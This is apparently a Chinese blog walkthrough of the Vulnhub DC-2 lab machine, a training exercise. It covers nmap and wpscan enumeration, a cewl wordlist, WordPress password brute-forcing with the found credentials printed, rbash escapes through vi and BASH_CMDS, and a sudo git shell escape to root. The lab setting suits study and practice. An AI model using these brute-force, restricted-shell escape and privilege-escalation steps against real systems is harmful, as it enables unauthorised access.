Vulnhub -- DC2靶机渗透

信息收集

nmap开始扫描



只开了80端口，直接打开ip地址发现无法打开网页，但是进行了域名的跳转

!这里发现了一个问题，其实还开了一个7744端口，但是使用-sV的方式是扫描不出来的，使用-p-后可以扫描出来



但是通过-p-扫描不出来是扫描服务

nmap -p- -sV 192.168.241.147 进行版本探测

发现是ssh服务



打开etc/hosts文件，添加：

192.168.241.147 dc-2

成功打开

使用kali自带的wpscan，专门针对WordPress的扫描工具

常用选项 :
--update 更新到最新版本
--url -u 要扫描的`WordPress`站点.
--force -f 不检查网站运行的是不是`WordPress
--enumerate -e [option(s)] 枚举 

其他选项:
u 枚举用户名，默认从1-10
u[10-20] 枚举用户名，配置从10-20
p 枚举插件
vp 只枚举有漏洞的插件
ap 枚举所有插件，时间较长
tt 列举缩略图相关的文件
t 枚举主题信息
vt 只枚举存在漏洞的主题
at 枚举所有主题，时间较长
--exclude-content-based 当使用枚举选项时，可以使用该参数做一些过滤，基于正则或者字符串，可以不写正则分隔符，但要用单引号或双引号包裹
--config-file -c
--user-agent -a
--cookie
--random-agent -r 使用随机User-Agent
--follow-redirection 如果目标包含一个重定向，则直接跟随跳转
--batch 无需用户交互，都使用默认行为
--no-color 不要采用彩色输出
--wp-content-dir
--wp-plugins-dir
--proxy <[protocol://]host:port设置一个代理，可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5，如果未设置默认是HTTP协议
--proxy-auth
--basic-auth
--wordlist -w
--username -U
--usernames path-to-file指定爆破用户名字典
--threads -t
--cache-ttl cache-ttl设置 cache TTL
--request-timeout request-timeout请求超时时间
--connect-timeout connect-timeout连接超时时间
--max-threads max-threads最大线程数
--throttle milliseconds当线程数设置为1时，设置两个请求之间的间隔
--help -h 输出帮助信息
--verbose -v 输出Verbose
--version 输出当前版本

扫描出用户信息



根据提示



说明一般的密码表可能无法爆破成功，再根据cewl说明密码很可能藏在网页当中，使用cewl生成字典

弱口令密码破解.note

wpscan --url http://dc-2 --passwords /root/word.txt

最后爆破出两个账号

尝试渗透

找到flag2信息



flag2跟我们说切入点可能不在wordpress上（尝试过msf，但是没有找到太好的攻击脚本，很多都失败了），尝试使用刚才得出的账号密码来进行ssh连接

虽然jerry / adipiscing连不上，但是第二个账号tom / parturient密码连上了



返回了一个rbash，发现很多指令都用不了

参考一下文章

rbash逃逸大全

RBash - 受限的Bash绕过

参考第二篇文章，我采用了编辑器vi逃逸





成功逃逸



后面才发现可以不逃逸直接vim flag3.txt

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

给了这么一句提示，意思为切换为jerry用户？

（我一开始是通过cd ../来到上级目录，cd到了jerry文件夹，虽然找到了flag4但是却没有git提权的能力，后面才切换用户





但是发现这种逃逸方法无法执行su命令，只能采用其他逃逸方式

BASH_CMDS[a]=/bin/sh;a
$ export PATH=$PATH:/bin/
$ export PATH=$PATH:/usr/bin

然后su jerry，在使用之前爆破出来的密码登录

）

flag4.txt：

Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now.  :-)
Go on - git outta here!!!!

说没有提示，但是盲猜提权，又提到了git，用git提权？之前没有接触过

提权

网上一搜发现大部分都是做这道题才遇到的，可能git提权不常用

git提权

但是我su -l老师让我输密码，和网上的流程不太一样，只能直接

sudo git help config
输入 !/bin/bash 或 !'sh' #完成提权
sudo git -p help
!/bin/bash #输入!/bin/bash，即可打开一个用户为root的shell

终于可以（第二条sudo git -p help不行）



最终在root下找到flag